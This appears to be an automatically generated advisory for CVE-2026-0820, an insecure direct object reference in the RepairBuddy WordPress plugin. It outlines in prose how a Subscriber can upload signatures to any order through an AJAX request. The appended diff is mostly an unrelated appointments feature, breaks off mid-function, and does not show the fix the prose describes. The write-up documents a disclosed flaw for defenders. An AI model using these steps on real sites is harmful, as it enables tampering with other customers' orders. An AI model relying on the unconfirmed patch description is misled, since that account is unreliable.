Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-0820: RepairBuddy <= 4.1116 – Insecure Direct Object Reference to Authenticated (Subscriber+) Arbitrary Signature Upload to Orders (computer-repair-shop)

CVE ID CVE-2026-0820
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 4.1116
Patched Version 4.1125
Disclosed January 15, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-0820:
The vulnerability is an Insecure Direct Object Reference (IDOR) in the RepairBuddy WordPress plugin, affecting versions up to and including 4.1116. The flaw resides in the `wc_upload_and_save_signature_handler` function, which lacks proper capability checks. This allows authenticated attackers with Subscriber-level permissions or higher to upload arbitrary signature files to any order in the system, potentially modifying order metadata and triggering unauthorized status changes.

The root cause is the absence of authorization validation in the `wc_upload_and_save_signature_handler` function. Atomic Edge research identified that the function processes signature uploads via the `wc_upload_and_save_signature` AJAX action. The function accepts an `order_id` parameter directly from user input without verifying the current user has permission to modify that specific order. The vulnerable code path begins when WordPress routes the AJAX request to the handler function, which then processes the uploaded file and associates it with the specified order ID. No capability check using `current_user_can()` or order ownership verification exists before the file operation.

Exploitation requires an authenticated attacker with at least Subscriber privileges. The attacker sends a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `wc_upload_and_save_signature`. The request must include the `order_id` parameter targeting any existing order in the system, along with a file upload field containing the malicious signature file. The attacker can specify any valid order ID, regardless of whether they own or have permission to modify that order. The payload consists of standard multipart form data with the signature file.

The patch adds proper authorization checks before processing signature uploads. The fix verifies the current user has the `manage_woocommerce` capability or is the owner of the targeted order. The updated code retrieves the order object using the provided `order_id`, then checks if the current user ID matches the order’s customer ID or if the user has appropriate administrative privileges. Only after passing these checks does the function proceed with file upload processing. This prevents unauthorized users from modifying orders they do not own or lack permission to access.

Successful exploitation allows attackers to modify order metadata by uploading arbitrary signature files to any order. This can trigger unauthorized status changes in the order workflow, potentially affecting business operations. Attackers could deface orders with inappropriate signatures, disrupt audit trails, or manipulate order completion states. While the vulnerability does not directly enable remote code execution, it undermines data integrity and could facilitate social engineering attacks by making unauthorized changes appear legitimate.

Differential between vulnerable and patched code

Code Diff
--- a/computer-repair-shop/activate.php
+++ b/computer-repair-shop/activate.php
@@ -475,6 +475,41 @@
 		$computer_repair_customer_devices = $wpdb->prefix.'wc_cr_customer_devices';
 		$computer_repair_feedback_log 	  = $wpdb->prefix.'wc_cr_feedback_log';
 		$computer_repair_time_logs 		  = $wpdb->prefix . 'wc_cr_time_logs';
+
+		$computer_repair_appointments         = $wpdb->prefix . 'wc_cr_appointments';
+
+		$sql = 'CREATE TABLE IF NOT EXISTS ' . $computer_repair_appointments . ' (
+			`appointment_id` BIGINT(20) UNSIGNED AUTO_INCREMENT PRIMARY KEY,
+			`appointment_number` VARCHAR(50) UNIQUE,
+			`job_id` BIGINT(20) UNSIGNED DEFAULT NULL,
+			`customer_id` BIGINT(20) UNSIGNED NOT NULL,
+			`technician_id` BIGINT(20) UNSIGNED DEFAULT NULL,
+			`appointment_type` ENUM("store", "pickup", "onsite", "ship") DEFAULT "store",
+			`appointment_date` DATE NOT NULL,
+			`appointment_time` VARCHAR(50) NOT NULL,
+			`appointment_datetime` DATETIME,
+			`duration_minutes` INT DEFAULT 60,
+			`status` ENUM("scheduled", "confirmed", "in_progress", "completed", "cancelled", "no_show", "rescheduled", "trashed") DEFAULT "scheduled",
+			`location_type` ENUM("store", "customer_address", "onsite", "shipping") DEFAULT "store",
+			`location_details` TEXT,
+			`notes` TEXT,
+			`reminder_sent` BOOLEAN DEFAULT FALSE,
+			`created_by` BIGINT(20) UNSIGNED NOT NULL,
+			`created_at` TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
+			`updated_at` TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
+			FOREIGN KEY (`job_id`) REFERENCES ' . $wpdb->prefix . 'posts(ID) ON DELETE SET NULL,
+			FOREIGN KEY (`customer_id`) REFERENCES ' . $wpdb->prefix . 'users(ID),
+			FOREIGN KEY (`technician_id`) REFERENCES ' . $wpdb->prefix . 'users(ID),
+			FOREIGN KEY (`created_by`) REFERENCES ' . $wpdb->prefix . 'users(ID)
+		) ' . $charset_collate . ';';
+		dbDelta($sql);
+
+		// Indexes for better performance
+		$wpdb->query('CREATE INDEX IF NOT EXISTS idx_appointment_date ON ' . $computer_repair_appointments . '(appointment_date)');
+		$wpdb->query('CREATE INDEX IF NOT EXISTS idx_appointment_status ON ' . $computer_repair_appointments . '(status)');
+		$wpdb->query('CREATE INDEX IF NOT EXISTS idx_appointment_technician ON ' . $computer_repair_appointments . '(technician_id)');
+		$wpdb->query('CREATE INDEX IF NOT EXISTS idx_appointment_customer ON ' . $computer_repair_appointments . '(customer_id)');
+		$wpdb->query('CREATE INDEX IF NOT EXISTS idx_appointment_datetime ON ' . $computer_repair_appointments . '(appointment_datetime)');

 		$sql = 'CREATE TABLE IF NOT EXISTS '.$computer_repair_customer_devices.'(
 			`device_id` bigint(20) NOT NULL AUTO_INCREMENT,
--- a/computer-repair-shop/admin_menu.php
+++ b/computer-repair-shop/admin_menu.php
@@ -32,7 +32,7 @@
 		__( 'Appointments', 'computer-repair-shop' ),
 		'delete_posts',
 		'wc-computer-rep-shop-appointments',
-		array( $WCRB_APPOINTMENTS,'appointments_page_output' ),
+		array( $WCRB_APPOINTMENTS, 'appointments_page_output' ),
 		200 );
 	add_submenu_page(
 		'wc-computer-rep-shop-handle',
--- a/computer-repair-shop/computer_repair_shop.php
+++ b/computer-repair-shop/computer_repair_shop.php
@@ -3,7 +3,7 @@
 	Plugin Name: CRM WordPress Plugin - RepairBuddy
 	Plugin URI: https://www.webfulcreations.com/
 	Description: WordPress CRM Plugin which helps you manage your jobs, parts, services and extras better client and jobs management system.
-	Version: 4.1116
+	Version: 4.1125
 	Author: Webful Creations
 	Author URI: https://www.webfulcreations.com/
 	License: GPLv2 or later.
@@ -14,7 +14,7 @@
 	Tested up to: 6.9
 	Requires PHP: 8.1

-	@package : 4.1116
+	@package : 4.1125
  */
 if ( ! defined( 'ABSPATH' ) ) {
 	exit;
@@ -22,7 +22,7 @@
 if ( ! defined( 'DS' ) ) {
 	define( 'DS', '/' ); // Defining Directory seprator, not using php default Directory seprator to avoide problem in windows.
 }
-define( 'WC_CR_SHOP_VERSION', '4.1116' );
+define( 'WC_CR_SHOP_VERSION', '4.1125' );

 if ( ! function_exists( 'wc_language_plugin_init' ) ) :
 	/**
--- a/computer-repair-shop/lib/includes/classes/class-appointments-manager.php
+++ b/computer-repair-shop/lib/includes/classes/class-appointments-manager.php
@@ -0,0 +1,1333 @@
+<?php
+/**
+ * Appointments Manager
+ *
+ * Helpful class for managing appointments
+ *
+ * @package computer-repair-shop
+ * @version 4.1115
+ */
+defined( 'ABSPATH' ) || exit;
+
+if ( ! class_exists( 'WC_CR_Appointments_Manager' ) ) :
+class WC_CR_Appointments_Manager {
+    private static $instance = null;
+
+    public static function getInstance() {
+        if ( self::$instance == null ) {
+            self::$instance = new WC_CR_Appointments_Manager();
+        }
+        return self::$instance;
+    }
+
+    public function current_timestamp() {
+        return current_time( 'timestamp' );
+    }
+
+    public function current_date( $format = 'Y-m-d' ) {
+        return current_time( $format );
+    }
+
+    public function current_datetime( $format = 'mysql' ) {
+        return current_time( $format );
+    }
+
+    public function format_date( $timestamp, $format = 'Y-m-d' ) {
+        return date_i18n( $format, $timestamp );
+    }
+
+    public function date_to_timestamp( $date_string ) {
+        $wp_timezone = wp_timezone();
+        $datetime = DateTime::createFromFormat( 'Y-m-d', $date_string, $wp_timezone );
+
+        if ( $datetime === false ) {
+            $timestamp      = strtotime($date_string . ' 00:00:00');
+            $gmt_offset     = get_option('gmt_offset') * HOUR_IN_SECONDS;
+            return $timestamp + $gmt_offset;
+        }
+        return $datetime->getTimestamp();
+    }
+
+    public function generate_appointment_number() {
+        global $wpdb;
+        $table_name = $wpdb->prefix . 'wc_cr_appointments';
+
+        $year = date( 'Y', $this->current_timestamp() );
+
+        // Get last appointment number for this year
+        $last_number = $wpdb->get_var($wpdb->prepare(
+            "SELECT appointment_number FROM $table_name
+             WHERE appointment_number LIKE %s
+             ORDER BY appointment_id DESC LIMIT 1",
+            "APT-$year-%"
+        ));
+
+        if ( $last_number ) {
+            $parts = explode( '-', $last_number );
+            $last_seq = intval($parts[2]);
+            $new_seq = str_pad( $last_seq + 1, 4, '0', STR_PAD_LEFT );
+        } else {
+            $new_seq = '0001';
+        }
+        return "APT-$year-$new_seq";
+    }
+
+    public function get_appointment_types() {
+        $saved_enabled_options = get_option( 'wcrb_appointment_options_enabled', 'store,pickup,onsite,ship' );
+        $enabled_options_array = explode(',', $saved_enabled_options);
+        $enabled_options_array = array_map('trim', $enabled_options_array);
+
+        $types = array();
+
+        $option_keys = array( 'store', 'pickup', 'onsite', 'ship' );
+        foreach ($option_keys as $option_key) {
+            if (in_array($option_key, $enabled_options_array)) {
+                $title = get_option('wcrb_appointment_option_' . $option_key . '_title', '');
+                $description = get_option('wcrb_appointment_option_' . $option_key . '_description', '');
+
+                if ( empty( $title ) ) {
+                    switch ( $option_key ) {
+                        case 'store':
+                            $title = __('Come by our store', 'computer-repair-shop');
+                            break;
+                        case 'pickup':
+                            $title = __('Let us pickup your device', 'computer-repair-shop');
+                            break;
+                        case 'onsite':
+                            $title = __('Repair on your location', 'computer-repair-shop');
+                            break;
+                        case 'ship':
+                            $title = __('Ship device to us', 'computer-repair-shop');
+                            break;
+                    }
+                }
+
+                $types[$option_key] = $title;
+            }
+        }
+        if (empty($types)) {
+            $types['store'] = __('Come by our store', 'computer-repair-shop');
+        }
+        return $types;
+    }
+
+    public function get_appointment_type_descriptions() {
+        $descriptions = array();
+
+        $option_keys = array('store', 'pickup', 'onsite', 'ship');
+        foreach ($option_keys as $option_key) {
+            $description = get_option('wcrb_appointment_option_' . $option_key . '_description', '');
+            if (!empty($description)) {
+                $descriptions[$option_key] = $description;
+            }
+        }
+
+        return $descriptions;
+    }
+
+    public function get_shipping_terms() {
+        $saved_enabled_options = get_option('wcrb_appointment_options_enabled', 'store,pickup,onsite,ship');
+        $enabled_options_array = explode(',', $saved_enabled_options);
+
+        if (in_array('ship', $enabled_options_array)) {
+            return get_option('wcrb_appointment_option_ship_terms', '');
+        }
+
+        return '';
+    }
+
+    public function get_time_slot_duration() {
+        return get_option('wcrb_time_slot_duration', '30');
+    }
+
+    public function get_buffer_time() {
+        return get_option('wcrb_buffer_time', '15');
+    }
+
+    public function get_max_appointments_per_day() {
+        return get_option('wcrb_max_appointments_per_day', '20');
+    }
+
+    public function get_booking_lead_time() {
+        return get_option('wcrb_booking_lead_time', '24');
+    }
+
+    public function get_working_hours($day) {
+        $enabled = get_option('wcrb_' . $day . '_enabled', ($day == 'sunday' || $day == 'saturday') ? '0' : '1');
+
+        if ($enabled != '1') {
+            return array('enabled' => false);
+        }
+
+        return array(
+            'enabled' => true,
+            'start_time' => get_option('wcrb_' . $day . '_start_time', '09:00'),
+            'end_time' => get_option('wcrb_' . $day . '_end_time', '17:00')
+        );
+    }
+
+    public function get_working_days_schedule() {
+        $days_of_week = array('sunday', 'monday', 'tuesday', 'wednesday', 'thursday', 'friday', 'saturday');
+        $schedule = array();
+
+        foreach ($days_of_week as $day) {
+            $schedule[$day] = $this->get_working_hours($day);
+        }
+
+        return $schedule;
+    }
+
+    public function is_date_available($date) {
+        $date = trim($date);
+
+        $today = $this->current_date('Y-m-d');
+
+        if ( $date < $today ) {
+            return false;
+        }
+
+        $timestamp_utc  = strtotime( $date . ' 00:00:00 UTC' );
+        $day_of_week    = strtolower( date( 'l', $timestamp_utc ) );
+        $working_hours  = $this->get_working_hours($day_of_week);
+
+        return $working_hours['enabled'];
+    }
+
+    public function get_available_time_slots($date, $technician_id = null) {
+        global $wpdb;
+        $table_name = $wpdb->prefix . 'wc_cr_appointments';
+
+        $date_timestamp = $this->date_to_timestamp($date);
+
+        $day_of_week    = strtolower(date('l', $date_timestamp));
+        $working_hours  = $this->get_working_hours($day_of_week);
+
+        if ( ! $working_hours['enabled'] ) {
+            return array();
+        }
+
+        $slot_duration      = $this->get_time_slot_duration();
+        $buffer_time        = $this->get_buffer_time();
+        $max_appointments   = $this->get_max_appointments_per_day();
+
+        if ( ! $this->is_date_available( $date ) ) {
+            return array();
+        }
+
+        $current_user = wp_get_current_user();
+        $is_technician = in_array( 'technician', $current_user->roles );
+
+        if ( $is_technician && empty( $technician_id ) ) {
+            $technician_id = $current_user->ID;
+        }
+
+        if ( $technician_id ) {
+            $existing_appointments = $wpdb->get_results($wpdb->prepare(
+                "SELECT appointment_time, technician_id FROM $table_name
+                WHERE appointment_date = %s
+                AND status IN ('scheduled', 'confirmed', 'in_progress')
+                AND (technician_id = %d OR technician_id IS NULL)",
+                $date,
+                $technician_id
+            ));
+        } else {
+            $existing_appointments = $wpdb->get_results($wpdb->prepare(
+                "SELECT appointment_time, technician_id FROM $table_name
+                WHERE appointment_date = %s
+                AND status IN ('scheduled', 'confirmed', 'in_progress')",
+                $date
+            ));
+        }
+
+        $appointment_count = count( $existing_appointments );
+        if ( $appointment_count >= $max_appointments ) {
+            return array();
+        }
+
+        // Generate time slots
+        $time_slots     = array();
+        $current_time   = strtotime($working_hours['start_time']);
+        $end_time       = strtotime($working_hours['end_time']);
+
+        while ( $current_time < $end_time ) {
+            $slot_start_time = date('H:i', $current_time);
+            $slot_end_time   = date('H:i', $current_time + ($slot_duration * 60));
+            $slot_display    = date('g:i A', strtotime($slot_start_time)) . ' - ' . date('g:i A', strtotime($slot_end_time));
+
+            if ( $slot_end_time > date( 'H:i', $end_time ) ) {
+                break;
+            }
+
+            $is_booked = false;
+            foreach ( $existing_appointments as $appointment ) {
+                $appointment_parts = explode( ' - ', $appointment->appointment_time );
+                if (count($appointment_parts) >= 1) {
+                    $appointment_start_str  = trim($appointment_parts[0]);
+                    $appointment_start_time = date('H:i', strtotime($appointment_start_str));
+
+                    if ($slot_start_time === $appointment_start_time) {
+                        $is_booked = true;
+                        break;
+                    }
+                }
+            }
+
+            if (!$is_booked) {
+                $time_slots[] = array(
+                    'start' => $slot_start_time,
+                    'end' => $slot_end_time,
+                    'display' => $slot_display
+                );
+            }
+
+            // Move to next slot with buffer time
+            $current_time += ($slot_duration + $buffer_time) * 60;
+        }
+
+        return $time_slots;
+    }
+
+    public function add_appointment($data) {
+        global $wpdb;
+        $table_name = $wpdb->prefix . 'wc_cr_appointments';
+
+        // Generate appointment number if not provided
+        if (empty($data['appointment_number'])) {
+            $data['appointment_number'] = $this->generate_appointment_number();
+        }
+
+        // Calculate datetime if date and time are provided
+        if (!empty($data['appointment_date']) && !empty($data['appointment_time'])) {
+            $time_start                   = explode(' - ', $data['appointment_time'])[0];
+            $data['appointment_datetime'] = $data['appointment_date'] . ' ' . $time_start;
+        }
+
+        // Get duration from settings based on appointment type
+        if (empty($data['duration_minutes'])) {
+            $data['duration_minutes'] = $this->get_time_slot_duration();
+        }
+
+        // Set default values using WordPress timezone
+        $defaults = array(
+            'appointment_type' => 'store',
+            'status'           => 'scheduled',
+            'location_type'    => 'store',
+            'reminder_sent'    => FALSE,
+            'created_by'       => get_current_user_id(),
+            'created_at' => $this->current_datetime('mysql'),
+            'updated_at' => $this->current_datetime('mysql')
+        );
+
+        $data = wp_parse_args( $data, $defaults );
+
+        $wpdb->insert( $table_name, $data );
+
+        $appointment_id = $wpdb->insert_id;
+
+        // Log to job history if job_id exists
+        $_jobid = $data['job_id'] ?? 0;
+
+        if ( $_jobid != 0 ) {
+            $appointment_msg = sprintf(
+                __( 'Appointment added %s for date %s for time %s', 'computer-repair-shop' ),
+                $data['appointment_number'],
+                $data['appointment_date'],
+                $data['appointment_time']
+            );
+
+            // Add to job history
+            if ( class_exists( 'WCRB_JOB_HISTORY_LOGS' ) ) {
+                $WCRB_JOB_HISTORY_LOGS = WCRB_JOB_HISTORY_LOGS::getInstance();
+                $history_data = array(
+                    "job_id"        => $_jobid,
+                    "name"          => $appointment_msg,
+                    "type"          => 'private',
+                    "field"         => '_wc_appointment_data',
+                    "change_detail" => __('Appointment Added', 'computer-repair-shop')
+                );
+                $WCRB_JOB_HISTORY_LOGS->wc_record_job_history($history_data);
+            }
+        }
+        return $appointment_id;
+    }
+
+    /**
+     * Simple status update method
+     */
+    public function update_status($appointment_id, $new_status) {
+        global $wpdb;
+        $table_name = $wpdb->prefix . 'wc_cr_appointments';
+
+        // Get appointment before update
+        $appointment = $this->get_appointment($appointment_id);
+
+        $result = $wpdb->update(
+            $table_name,
+            array(
+                'status' => $new_status,
+                'updated_at' => $this->current_datetime('mysql')
+            ),
+            array('appointment_id' => $appointment_id)
+        );
+
+        // Log to job history if job_id exists
+        if ($result && $appointment && $appointment->job_id && class_exists('WCRB_JOB_HISTORY_LOGS')) {
+            $WCRB_JOB_HISTORY_LOGS = WCRB_JOB_HISTORY_LOGS::getInstance();
+            $history_data = array(
+                "job_id"        => $appointment->job_id,
+                "name"          => sprintf(__('Appointment status updated: %s', 'computer-repair-shop'), $appointment->appointment_number),
+                "type"          => 'private',
+                "field"         => '_wc_appointment_data',
+                "change_detail" => sprintf(__('Status changed to: %s', 'computer-repair-shop'), $new_status)
+            );
+            $WCRB_JOB_HISTORY_LOGS->wc_record_job_history($history_data);
+        }
+
+        return $result;
+    }
+
+    public function get_appointment($appointment_id) {
+        global $wpdb;
+        $table_name = $wpdb->prefix . 'wc_cr_appointments';
+
+        $appointment = $wpdb->get_row($wpdb->prepare(
+            "SELECT a.*,
+                    u.ID as customer_user_id,
+                    u.display_name as customer_name,
+                    u.user_email as customer_email,
+                    t.display_name as technician_name,
+                    c.display_name as created_by_name,
+                    p.post_title as job_title,
+                    p.ID as job_post_id
+            FROM $table_name a
+            LEFT JOIN {$wpdb->prefix}users u ON a.customer_id = u.ID
+            LEFT JOIN {$wpdb->prefix}users t ON a.technician_id = t.ID
+            LEFT JOIN {$wpdb->prefix}users c ON a.created_by = c.ID
+            LEFT JOIN {$wpdb->prefix}posts p ON a.job_id = p.ID
+            WHERE a.appointment_id = %d",
+            $appointment_id
+        ));
+
+        if ($appointment && $appointment->customer_user_id) {
+            // Add customer meta data
+            $customer_id = $appointment->customer_user_id;
+
+            // Get first_name and last_name from user meta
+            $appointment->first_name = get_user_meta($customer_id, "first_name", true);
+            $appointment->last_name = get_user_meta($customer_id, "last_name", true);
+
+            // Get other customer meta
+            $appointment->customer_phone = get_user_meta($customer_id, "billing_phone", true);
+            $appointment->customer_company = get_user_meta($customer_id, "billing_company", true);
+            $appointment->customer_tax = get_user_meta($customer_id, "billing_tax", true);
+            $appointment->customer_address_1 = get_user_meta($customer_id, 'billing_address_1', true);
+            $appointment->customer_city = get_user_meta($customer_id, 'billing_city', true);
+            $appointment->customer_postcode = get_user_meta($customer_id, 'billing_postcode', true);
+            $appointment->customer_state = get_user_meta($customer_id, 'billing_state', true);
+            $appointment->customer_country = get_user_meta($customer_id, 'billing_country', true);
+
+            // Build full name
+            $first_name = !empty($appointment->first_name) ? $appointment->first_name : '';
+            $last_name = !empty($appointment->last_name) ? $appointment->last_name : '';
+            $appointment->customer_full_name = trim($first_name . ' ' . $last_name);
+            if (empty($appointment->customer_full_name)) {
+                $appointment->customer_full_name = $appointment->customer_name;
+            }
+        }
+
+        return $appointment;
+    }
+
+    public function get_appointments($args = array()) {
+        global $wpdb;
+
+        $defaults = array(
+            'limit' => 20,
+            'offset' => 0,
+            'orderby' => 'appointment_datetime',
+            'order' => 'ASC',
+            'search' => '',
+            'appointment_type' => '',
+            'status' => '',
+            'technician_id' => '',
+            'customer_id' => '',
+            'start_date' => '',
+            'end_date' => '',
+            'job_id' => '',
+            'include_trashed' => false
+        );
+
+        $args = wp_parse_args($args, $defaults);
+
+        $table_name = $wpdb->prefix . 'wc_cr_appointments';
+
+        $where = array('1=1');
+        $params = array();
+
+        // Check if current user is a technician
+        $current_user = wp_get_current_user();
+        $is_technician = in_array('technician', $current_user->roles);
+
+        // If user is a technician and no specific technician filter is set,
+        // automatically filter to only show their appointments
+        if ($is_technician && empty($args['technician_id'])) {
+            $where[] = 'a.technician_id = %d';
+            $params[] = $current_user->ID;
+        } elseif (!empty($args['technician_id'])) {
+            // If technician filter is explicitly set, use it
+            $where[] = 'a.technician_id = %d';
+            $params[] = $args['technician_id'];
+        }
+
+        // Type filter - only show enabled appointment types
+        if (!empty($args['appointment_type'])) {
+            $where[] = 'a.appointment_type = %s';
+            $params[] = $args['appointment_type'];
+        } else {
+            // Filter by enabled appointment types only
+            $enabled_types = array_keys($this->get_appointment_types());
+            if (!empty($enabled_types)) {
+                $placeholders = array_fill(0, count($enabled_types), '%s');
+                $where[] = 'a.appointment_type IN (' . implode(',', $placeholders) . ')';
+                $params = array_merge($params, $enabled_types);
+            }
+        }
+
+        // Other filters...
+        if (!empty($args['status'])) {
+            $where[] = 'a.status = %s';
+            $params[] = $args['status'];
+        } elseif (!$args['include_trashed']) {
+            // Only exclude trashed if not explicitly including them
+            $where[] = 'a.status != "trashed"';
+        }
+
+        if (!empty($args['customer_id'])) {
+            $where[] = 'a.customer_id = %d';
+            $params[] = $args['customer_id'];
+        }
+
+        if (!empty($args['job_id'])) {
+            $where[] = 'a.job_id = %d';
+            $params[] = $args['job_id'];
+        }
+
+        if (!empty($args['start_date'])) {
+            $where[] = 'a.appointment_date >= %s';
+            $params[] = $args['start_date'];
+        }
+
+        if (!empty($args['end_date'])) {
+            $where[] = 'a.appointment_date <= %s';
+            $params[] = $args['end_date'];
+        }
+
+        if (!empty($args['search'])) {
+            $where[] = '(a.appointment_number LIKE %s OR u.display_name LIKE %s OR u.user_email LIKE %s)';
+            $search_term = '%' . $wpdb->esc_like($args['search']) . '%';
+            $params[] = $search_term;
+            $params[] = $search_term;
+            $params[] = $search_term;
+        }
+
+        $where_clause = implode(' AND ', $where);
+
+        // Get total count
+        $count_query = "SELECT COUNT(*) FROM $table_name a
+                    LEFT JOIN {$wpdb->prefix}users u ON a.customer_id = u.ID
+                    WHERE $where_clause";
+
+        if (!empty($params)) {
+            $count_query = $wpdb->prepare($count_query, $params);
+        }
+
+        $total = $wpdb->get_var($count_query);
+
+        // Get data
+        $query = "SELECT a.*,
+                        u.display_name as customer_name,
+                        u.user_email as customer_email,
+                        t.display_name as technician_name,
+                        p.post_title as job_title,
+                        c.display_name as created_by_name
+                FROM $table_name a
+                LEFT JOIN {$wpdb->prefix}users u ON a.customer_id = u.ID
+                LEFT JOIN {$wpdb->prefix}users t ON a.technician_id = t.ID
+                LEFT JOIN {$wpdb->prefix}posts p ON a.job_id = p.ID
+                LEFT JOIN {$wpdb->prefix}users c ON a.created_by = c.ID
+                WHERE $where_clause
+                ORDER BY a.{$args['orderby']} {$args['order']}";
+
+        // Add LIMIT and OFFSET if limit > 0
+        if ($args['limit'] > 0) {
+            $query .= " LIMIT %d OFFSET %d";
+            $params[] = $args['limit'];
+            $params[] = $args['offset'];
+        }
+
+        // Prepare and execute the query
+        if (!empty($params)) {
+            $query = $wpdb->prepare($query, $params);
+        }
+
+        $appointments = $wpdb->get_results($query);
+
+        return array(
+            'appointments' => $appointments,
+            'total' => $total
+        );
+    }
+
+    public function get_calendar_appointments($start_date, $end_date, $technician_id = null) {
+        global $wpdb;
+        $table_name = $wpdb->prefix . 'wc_cr_appointments';
+
+        $where = array('1=1');
+        $params = array();
+
+        // Date range
+        $where[] = 'a.appointment_date >= %s';
+        $params[] = $start_date;
+        $where[] = 'a.appointment_date <= %s';
+        $params[] = $end_date;
+
+        // Check if current user is a technician
+        $current_user = wp_get_current_user();
+        $is_technician = in_array('technician', $current_user->roles);
+
+        // If user is a technician and no specific technician filter is set,
+        // automatically filter to only show their appointments
+        if ($is_technician && empty($technician_id)) {
+            $where[] = 'a.technician_id = %d';
+            $params[] = $current_user->ID;
+        } elseif ($technician_id) {
+            // If technician filter is explicitly set, use it
+            $where[] = '(a.technician_id = %d OR a.technician_id IS NULL)';
+            $params[] = $technician_id;
+        }
+
+        // Only show scheduled/confirmed appointments
+        $where[] = 'a.status IN ("scheduled", "confirmed", "in_progress")';
+
+        // Only show enabled appointment types
+        $enabled_types = array_keys($this->get_appointment_types());
+        if (!empty($enabled_types)) {
+            $placeholders = array_fill(0, count($enabled_types), '%s');
+            $where[] = 'a.appointment_type IN (' . implode(',', $placeholders) . ')';
+            $params = array_merge($params, $enabled_types);
+        }
+
+        $where_clause = implode(' AND ', $where);
+
+        $query = "SELECT a.*,
+                        u.display_name as customer_name,
+                        u.user_email as customer_email,
+                        t.display_name as technician_name,
+                        p.post_title as job_title
+                FROM $table_name a
+                LEFT JOIN {$wpdb->prefix}users u ON a.customer_id = u.ID
+                LEFT JOIN {$wpdb->prefix}users t ON a.technician_id = t.ID
+                LEFT JOIN {$wpdb->prefix}posts p ON a.job_id = p.ID
+                WHERE $where_clause
+                ORDER BY a.appointment_date, a.appointment_time";
+
+        if (!empty($params)) {
+            $query = $wpdb->prepare($query, $params);
+        }
+
+        return $wpdb->get_results($query);
+    }
+
+    public function delete_appointment( $appointment_id ) {
+        global $wpdb;
+        $table_name = $wpdb->prefix . 'wc_cr_appointments';
+
+        // Get appointment data before deletion
+        $appointment = $this->get_appointment($appointment_id);
+
+        $result = $wpdb->update(
+            $table_name,
+            array(
+                'status' => 'trashed',
+                'updated_at' => $this->current_datetime('mysql')
+            ),
+            array('appointment_id' => $appointment_id)
+        );
+
+        // Log to job history if job_id exists
+        if ($result && $appointment && $appointment->job_id && class_exists('WCRB_JOB_HISTORY_LOGS')) {
+            $appointment_msg = sprintf(
+                __( 'Appointment deleted %s for date %s for time %s', 'computer-repair-shop' ),
+                $appointment->appointment_number,
+                $appointment->appointment_date,
+                $appointment->appointment_time
+            );
+
+            $WCRB_JOB_HISTORY_LOGS = WCRB_JOB_HISTORY_LOGS::getInstance();
+            $history_data = array(
+                "job_id"        => $appointment->job_id,
+                "name"          => $appointment_msg,
+                "type"          => 'private',
+                "field"         => '_wc_appointment_data',
+                "change_detail" => __('Appointment Deleted (Moved to Trash)', 'computer-repair-shop')
+            );
+            $WCRB_JOB_HISTORY_LOGS->wc_record_job_history($history_data);
+        }
+
+        return $result;
+    }
+
+    public function get_appointment_statuses() {
+        return array(
+            'scheduled'   => __('Scheduled', 'computer-repair-shop'),
+            'confirmed'   => __('Confirmed', 'computer-repair-shop'),
+            'in_progress' => __('In Progress', 'computer-repair-shop'),
+            'completed'   => __('Completed', 'computer-repair-shop'),
+            'cancelled'   => __('Cancelled', 'computer-repair-shop'),
+            'no_show'     => __('No Show', 'computer-repair-shop'),
+            'rescheduled' => __('Rescheduled', 'computer-repair-shop')
+        );
+    }
+
+    public function get_appointment_type_colors() {
+        return array(
+            'store'   => '#3498db',  // Blue
+            'pickup'  => '#2ecc71',  // Green
+            'onsite'  => '#e74c3c',  // Red
+            'ship'    => '#f39c12'   // Orange
+        );
+    }
+
+    public function get_statistics($period = 'month', $technician_id = null) {
+        global $wpdb;
+        $table_name = $wpdb->prefix . 'wc_cr_appointments';
+
+        $where = array('1=1');
+        $params = array();
+
+        // Check if current user is a technician
+        $current_user = wp_get_current_user();
+        $is_technician = in_array('technician', $current_user->roles);
+
+        // If user is a technician and no specific technician filter is set,
+        // automatically filter to only show their statistics
+        if ($is_technician && empty($technician_id)) {
+            $where[] = 'technician_id = %d';
+            $params[] = $current_user->ID;
+        } elseif ($technician_id) {
+            // If technician filter is explicitly set, use it
+            $where[] = 'technician_id = %d';
+            $params[] = $technician_id;
+        }
+
+        // Only include enabled appointment types
+        $enabled_types = array_keys($this->get_appointment_types());
+        if (!empty($enabled_types)) {
+            $placeholders = array_fill(0, count($enabled_types), '%s');
+            $where[] = 'appointment_type IN (' . implode(',', $placeholders) . ')';
+            $params = array_merge($params, $enabled_types);
+        }
+
+        $where_clause = implode(' AND ', $where);
+        $where_sql = $where_clause ? "WHERE $where_clause" : '';
+
+        // Get totals
+        $totals_query = "SELECT
+                COUNT(*) as total_count,
+                SUM(CASE WHEN status = 'completed' THEN 1 ELSE 0 END) as completed_count,
+                SUM(CASE WHEN status = 'cancelled' THEN 1 ELSE 0 END) as cancelled_count,
+                SUM(CASE WHEN status = 'no_show' THEN 1 ELSE 0 END) as no_show_count
+            FROM $table_name
+            $where_sql";
+
+        if ($params) {
+            $totals_query = $wpdb->prepare($totals_query, $params);
+        }
+
+        $totals = $wpdb->get_row($totals_query);
+
+        // Get type breakdown
+        $type_query = "SELECT
+                appointment_type,
+                COUNT(*) as count
+            FROM $table_name
+            $where_sql
+            GROUP BY appointment_type";
+
+        if ($params) {
+            $type_query = $wpdb->prepare($type_query, $params);
+        }
+
+        $types = $wpdb->get_results($type_query);
+
+        // Get status breakdown
+        $status_query = "SELECT
+                status,
+                COUNT(*) as count
+            FROM $table_name
+            $where_sql
+            GROUP BY status";
+
+        if ($params) {
+            $status_query = $wpdb->prepare($status_query, $params);
+        }
+
+        $statuses = $wpdb->get_results($status_query);
+
+        return array(
+            'totals' => $totals,
+            'types' => $types,
+            'statuses' => $statuses
+        );
+    }
+
+    /**
+     * Check for appointment conflicts
+     */
+    public function check_conflict($date, $time, $technician_id, $exclude_appointment_id = null) {
+        global $wpdb;
+        $table_name = $wpdb->prefix . 'wc_cr_appointments';
+
+        $time_start = explode(' - ', $time)[0];
+
+        $query = "SELECT COUNT(*) as conflict_count
+                  FROM $table_name
+                  WHERE appointment_date = %s
+                  AND appointment_time LIKE %s
+                  AND technician_id = %d
+                  AND status IN ('scheduled', 'confirmed', 'in_progress')";
+
+        $params = array($date, $time_start . '%', $technician_id);
+
+        if ($exclude_appointment_id) {
+            $query .= " AND appointment_id != %d";
